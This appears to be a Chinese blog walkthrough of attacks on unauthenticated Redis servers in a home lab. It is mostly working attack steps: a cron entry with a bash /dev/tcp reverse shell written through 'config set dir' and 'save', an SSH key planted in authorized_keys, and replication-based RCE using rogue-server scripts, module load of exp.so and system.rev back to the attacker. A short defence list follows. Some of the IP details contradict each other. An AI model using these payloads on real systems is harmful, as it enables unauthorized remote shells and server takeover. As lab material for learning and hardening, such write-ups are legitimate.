当前位置: 首页 > news >正文

浅谈Linux下的redis攻击

redis服务ip:192.168.65.163 (CentOs)

redis服务ip:192.168.65.158 (Ubuntu)

kali攻击机:192.168.65.158

准备工作

因为这个redis未授权访问已经非常非常久了,所以redis官方早就发布新的版本了,如果想要复现的话,就得关闭一些保护的措施。

1.安装redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz

tar -xvzf redis-3.2.0.tar.gz

cd redis-3.2.0

make

2.修改配置文件

vim redis.conf

bind 127.0.0.1前面加上#号 # bind 127.0.0.1

protected-mode设为no

启动redis服务 ./src/redis-server redis.conf

注意点:

1.启动的时候要带着配置文件允许

2.如果还是报错的话,可以把防火墙关了

3.以root身份允许redis

1.定时任务反弹shell

开个监听:

用nc看一下redis打开没有:

发现打开的,然后连接redis:

redis-cli -h 192.168.65.163

输入命令:

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.65.163/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

反弹shell成功:

现在来回头分析几个redis的命令,更深入了解一些原理:

1.set

用于设置键值, 如果 key 已经存储其他值, SET 就覆写旧值,且无视类型 。

示例:

set xx "123"

设置为:xx

xx键为:123

2.get

用于获取某个键的值

get xx

3.keys *

获取所有的键

分析一下命令:

1)

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.32.144/7999 0>&1\n"

设置键为:xx

值位:\n* * * * * bash -i >& /dev/tcp/192.168.32.144/7999 0>&1\n

用 \n 的原因:

在后面加入定时执行任务的时候内容会有乱码:

使用 \n 可以屏蔽干扰

2)

config set dir /var/spool/cron/

把我们的配置导入反弹任务

3)

config set dbfilename root

设置导入的内容的文件名

4)

save

保存

关于Ubuntu无法利用写定时任务反弹shell:

1.ubuntu可以成功写入反弹的任务,但是上下文有乱码,ubuntu不会忽略这些乱码,所以不能执行。这是其一。

2.其二:ubuntu默认使用/bin/dash执行,需要把/bin/dash环境改成/bin/bash

2.redis写入公钥

注意:目标的/root下需要有.ssh目录,可以写入ssh公钥才能连接

先生成公钥私钥

ssh-keygen –t rsa

(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>key.txt
cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x -pass pass123 set pub
config set dir /root/.ssh
config set dbfilename authorized_keys
save

ssh连接:

3.redis主从复制

原理

  • 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
  • 第二步,我们设置备份文件名为so文件
  • 第三步,设置传输方式为全量传输(重点)
  • 第四步加载恶意so文件,实现任意命令执行

全量传输:是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中 。

可利用的是redis4.x-5.x的版本

主动连接:

这个不同的脚本有不同的问题:

需要每个都试试,然后被动连接的exp.so也是在其他脚本中拷贝过来的

直接上脚本:

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Serverzz

命令:

python redis-rogue-server.py --rhost 192.168.65.158 --lhost 192.168.65.154

r是反弹shell,i是直接进行交互

成功反弹shell:

被动连接:

使用脚本:

python redis_rogue_server.py -v -path exp.so

再使用受害机:

./redis-cli
>config set dir /tmp
>config set dbfilename exp.so
>slaveof 192.168.65.154 15000
>module load ./exp.so
>slaveof no one
>system.rev 192.168.65.154 2333 (同时本地起一个监听)

注意点:

是config set,而不是set

是module load ./exp.so 而不是module load exp.so

system.rev => 反弹shell

再使用命令:

python3 -c 'import pty;pty.spawn("/bin/bash")'

使shell更容易操作:

redis的防护

1.设置用户用于启动redis,不要用root权限启动

2.设置本地redis访问,不允许远程访问。

3配置文件的保护模式(默认开启)

4.修改端口

5.requirepass 设置redis密码

参考文献:

渗透测试-Redis未授权访问漏洞之ubuntu反弹shell问题 - websec80 - 博客园

浅析Linux下Redis的攻击面(一)_环境

相关文章:

  • 【大数据与云计算】虚拟机安装Linux
  • 数据分析:扩增子分析(qiime2平台全流程分析)
  • 软件测试 -- 自动化测试(Selenium)
  • PostgreSQL的扩展(extensions)-常用的扩展之TimescaleDB
  • JVM的垃圾回收机制(GC机制)
  • 智慧浪潮下的产业园区:洞察智慧化转型如何打造高效、绿色、安全的新园区
  • LiveGBS流媒体平台GB/T28181功能-查看国标设备下通道会话列表直播|回放|对讲|播放|录像|级联UDP|TCP|H264|H265会话
  • 常用软件下载地址
  • 深度学习中数据的转换
  • 代码随想录算法训练营第二十四天| 77. 组合
  • DR 或CT拍摄中的:平板、控制板、高压之间的关系
  • 安防视频监控平台EasyNVR级联视频上云管理平台EasyNVS,出现报错“i/o deadline reached”该如何解决?
  • 【C++】类和对象(中)(万字详解)
  • CockroachDB架构-存储层
  • 【DDR3 控制器设计】(1)MIG IP 核的详解与配置
  • 牛客网专项练习30天Pytnon篇第26天
  • 【Golang开发面经】得物(两轮技术面)
  • Linux vmalloc原理与实现
  • 李沐论文精读系列二:Vision Transformer、MAE、MoCo、Swin-Transformer(持续更新 )
  • 【我想找一份实习】算法篇
  • uniapp 微信小程序和H5的弹窗滚动穿透解决
  • linux安装tomcat、mysql、redis、宝塔,rpm命令
  • Linux命令老是记不住?一篇文章帮你解决。Linux常用命令汇总
  • 接口测试用例生成工具介绍及应用
  • 【axios】二次封装——避免重复发送请求
  • Maven 高级 5 多环境配置与应用 5.1 多环境开发
  • [ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945
  • 【图像分割】基于电磁算法优化多级阈值实现图像分割附matlab代码
  • SushiSwap历任“主厨”史
  • 【数据结构与算法】用队列实现栈用栈实现队列设计循环队列
  • 【模型训练】YOLOv7吸烟行为检测
  • stm32f4xx-ADC